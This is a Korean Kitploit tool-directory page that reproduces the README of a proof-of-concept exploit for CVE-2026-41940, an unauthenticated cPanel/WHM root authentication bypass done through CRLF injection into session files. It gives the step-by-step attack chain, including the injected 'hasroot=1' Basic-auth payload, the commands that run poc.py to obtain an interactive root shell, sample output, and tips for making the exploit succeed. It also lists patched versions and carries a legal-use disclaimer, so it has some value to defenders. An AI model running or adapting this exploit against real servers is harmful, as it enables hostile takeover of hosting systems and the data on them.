Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CPANEL-CVE-2026-41940 — CVE-2026-41940에 대한 개념 증명 익스플로잇으로, CRLF 주입을 통한 cPanel/WHM 인증 우회로 인증되지 않은 루트 액세스와 대화형 셸을 가능하게 하는 치명적인 취약점입니다. | Kitploit
도구/GitHubGitHub/0xabdoulaye/cpanel-cve-2026-41940
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHub0xabdoulaye/cpanel-cve-2026-41940

CPANEL-CVE-2026-41940

CVE-2026-41940에 대한 개념 증명 익스플로잇으로, CRLF 주입을 통한 cPanel/WHM 인증 우회로 인증되지 않은 루트 액세스와 대화형 셸을 가능하게 하는 치명적인 취약점입니다.

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
213개월 전아직 검토되지 않음

CVE-2026-41940 — cPanel/WHM 인증 우회

작성자: SilySec
원본 연구: Sina Kheirkhah (@SinSinology) / watchTowr Labs
심각도: 치명적 (CVSS 9.8)
유형: CRLF 주입 → 인증 우회 → 루트 셸


설명

CVE-2026-41940은 cPanel/WHM의 치명적인 취약점으로, 인증되지 않은 공격자가 cpsrvd의 Basic 인증 관리자에 CRLF 주입을 통해 완전한 루트 액세스를 얻을 수 있게 합니다.

이 결함은 세 가지 약점을 결합합니다:

  1. 필터링되지 않은 CRLF 주입 — Cpanel/Session.pm의 saveSession() 함수는 쿠키에 <ob> 키가 없을 때 디스크에 쓰기 전에 \r\n 문자를 삭제하지 않습니다.
  2. 비활성화된 인코더 — 세션 쿠키에 <obHEX> 세그먼트가 없으면 세션별 인코더가 활성화되지 않아 CRLF 바이트가 세션 파일에 평문으로 기록됩니다.
  3. 캐시 재로드 — Cpanel::Session::Modify::save()는 원시 파일을 다시 읽고 주입된 CRLF 키를 JSON 캐시로 승격시켜 세션을 완전히 인증된 상태로 만듭니다.

영향을 받는 버전


공격 체인

root@kitploit:~
POST /login/?login_only=1          [잘못된 비밀번호]
  └─► cookie: whostmgrsession=:ID,<obHEX>

,<obHEX> 제거  →  :ID          [인코더 비활성화]

GET / + Cookie: :ID
      + Authorization: Basic root:x\r\nhasroot=1\r\n...
  └─► cpsrvd가 원시 CRLF 바이트를 세션 파일에 기록

GET /scripts2/listaccts + Cookie: :ID   [보안 토큰 없음]
  └─► do_token_denied() → Cpanel::Session::Modify::save()
  └─► hasroot=1, tfa_verified=1로 JSON 캐시 재구성

→ 루트로 인증된 세션

사용법

사전 요구 사항

root@kitploit:~
pip install requests
# --terminal 모드용 (선택 사항):
pip install paramiko

취약점 확인

root@kitploit:~
python3 poc.py --target https://TARGET:2087

대화형 루트 셸 얻기

root@kitploit:~
python3 poc.py --target https://TARGET:2087 --terminal

정규 호스트 이름 강제 지정

root@kitploit:~
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.example.com

출력 예시

root@kitploit:~
[*] target   : https://1.2.3.4:2087
[*] canonical: cpanel.example.com

[1/4] 사전 인증 세션 생성 중 ...
       session  = :AbCdEfGh...,0123456789abcdef
       stripped = :AbCdEfGh...

[2/4] CRLF 페이로드 주입 중 ...
       307 → 토큰 유출 = /cpsess1234567890

[3/4] 캐시 전파 트리거 중 ...
       do_token_denied → Cpanel::Session::Modify::save() 실행됨

[4/4] 루트 액세스 확인 중 ...

  ✔  인증 우회 확인됨
     cPanel 버전 : 11.136.0.5
     cookie      : whostmgrsession=%3AAbCdEfGh...
     WHM URL     : https://1.2.3.4:2087/cpsess1234567890/

중요한 기술적 사항

  • 정규 호스트 이름은 Host 헤더에 사용해야 합니다 (IP 아님) — cpsrvd는 호스트 이름에 따라 세션을 다르게 처리합니다
  • 페이로드의 타임스탬프는 9999999999여야 합니다 (고정, 먼 미래) — 현재 타임스탬프는 실패합니다
  • 주입된 페이로드의 키 순서가 중요합니다: successful_internal_auth_with_timestamp가 먼저 와야 합니다

패치

패치는 filter_sessiondata() 호출을 saveSession() 내부로 이동하고 <ob> 키가 없을 때 조건부 인코딩을 추가하여 평문 기록을 방지합니다.

위에 나열된 수정 버전으로 cPanel/WHM을 즉시 업데이트하십시오.


경고

이 도구는 연구 및 내부 테스트 목적으로만 제공됩니다. 명시적 권한 없이 시스템에 사용하는 것은 불법입니다. SilySec은 오용으로 인한 책임을 지지 않습니다.

도구 다운로드
브랜치마지막 취약 버전수정 버전
110.0.x11.110.0.9611.110.0.97
118.0.x11.118.0.6211.118.0.63
126.0.x11.126.0.5311.126.0.54
132.0.x11.132.0.2811.132.0.29
134.0.x11.134.0.1911.134.0.20
136.0.x11.136.0.511.136.0.6